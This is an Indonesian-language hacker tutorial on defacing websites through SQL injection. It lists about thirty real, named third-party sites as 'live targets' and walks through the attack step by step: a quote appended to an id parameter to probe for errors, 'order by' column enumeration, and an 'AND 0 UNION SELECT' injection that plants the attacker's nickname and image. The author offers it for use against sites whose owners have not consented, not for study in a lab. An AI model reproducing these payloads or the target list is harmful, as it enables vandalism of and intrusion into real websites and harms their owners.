From Lammer To Mastah: DEFACE Poc SQLi-Ezy

#Tutorial #Lengkap

~Mr.Venom

Ok para hemsker² sekalian 🗿 di kali ini saya akan memberikan sebuah tutorial deface poc SQLi yg sgt amat² ezy ya ges ya, langsung ae no bacot, show skil kuy ke tutorial nya🥴

1)live target;

http://www.hotelsalak.co.id/?page=promotions&subpage=detail&id=48

http://www.vipergen.com/p.php?s=article&id=33

http://www.viaquenti.com/page.php?id=2

http://www.stvfe.com/news.php?id=3

http://kewin-properties.com/info.php?id=20

http://www.hotrodwelding.nl/product.php?id=3

http://sedimental.com/catalog/index.php?ID=67

http://www.kpjgems.com/product_detail.php?id=6

http://www.idcinteriors.com/products_detail.php?id=20

http://www.elysiumexp.com/php/post.php?id=1

http://www.maria-anwander.net/work.php?id=20

http://www.cowboysofcolor.org/profile.php?ID=1

http://www.houseofkenpokarate.com/studentDetails.php?ID=20

http://www.peterrosepicture.com/movies.php?id=18

http://www.mykopio.id/brands.php?id=4

http://lighthousetraining.org/clientsuccessdetail.php?id=20

http://maharajagroup.in/rooms.php?id=1

http://curekayur.in/facility_details.php?pageid=3

http://www.smileplayway.com/learning-process.php?id=5

http://www.sy-smile.com/product_detail.php?id=5

http://www.melindawilde.com/painting-gallery.php?gallery=2

http://www.ayaservice.com/room3.php?id=20

http://pristatravel.com/en/hotel-details.php?id=20

http://www.katherinehouse.co.uk/news.php?id=20

http://www.cantonhouse.ca/menu.php?id=20

http://www.goonskate.com/user.php?id=20

http://www.philippesmit.com/cr/catalogue/entry.php?id=6

http://departs.eu/focus_details.php?id=20

http://www.coastalholidayproperty.com/devon-properties-rates.php?ID=144

Kembangin lagi ker🥴

Pilih salah 1 ae target nya Jan Maruk :V

Ini target gua⤵️

>>>Klik stah🗿<<<

Tambahin tanda petik di atas ker Jan lupa beri setrip di parameter nya yg di sebelah kiri detai&id=-48'%27

Klo udh gas ae stah🗿

Nah, klo web nya eror berarti vuln ya...

Klo mau Dios gw? Sok atuh pake aja, tinggal lu ubah ae link foto nya...

>>>Klik stah🗿<<<

Klo mo bikin sendiri juga bisa

>>>Usaha Bro👀<<<

↑↓Nah Nick lu dah tuh, contoh kek gini↓↑

Abis itu langsung ae kalian renovasi encode nya jadi Nick+ link foto klean

Lingkeran ke 1 mulai dari angka 4 sampai d

Klean isi Ama yg tadi udh di encodenya

Cara upload link foto nya gmn bang?

>>>Klik Stah🎭<<<

Klik pilih file abis itu tinggal kalian pilih foto kalian, nah kalau sudah? Klik "SAVE" yang saya lingkarin dgn warna merah tuh

Jika sudah? Lalu salin link yg saya lingkarin...

Langsung otw tempel di lingkeran ke 2(merah)

Klo sudah? Lanjut gas ke tutorial SQLi nya

Tadi web nya sudah error alias vuln yah stah🗿

Langsung aja gass poll ketik +order+by+1--+-

Di sebelah kanannya angka 48%27

Ketik dari 1 sampai seterusnya hingga Web nya kek begini berarti tanda nya udh tokcer ok alias berhasil/ vuln↓

Klo dah?

Langsung aja +order+by+1--+-

Ubah jadi AND+0+UNION+SELECT+"isi dengan web pada bagian yg vuln nya

Nih seperti ini stah🗿

>>>Klik Aku<<<

Nah angka togelnya nongol noh

Angka 2 3 4 5 terserah dah mo masukin/upload Dios kalian di nomor 2/3/4/5 intinya pilih salah 1 okay stah🎭

DAN BOOM HASILNYA JADI😎

Nih punya Saya >>>Klik Stah🎭<<<

Ok sekian dari Saya, untuk Tutorial Deface Poc Metode SQLi/ bisa di bilang teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi lebih Tepatnya mengetahui database di website website yang telah kita jadikan target eksekusi.

Don't Forget To Like, Comment, And Share, Thank You😎

./Mr Venom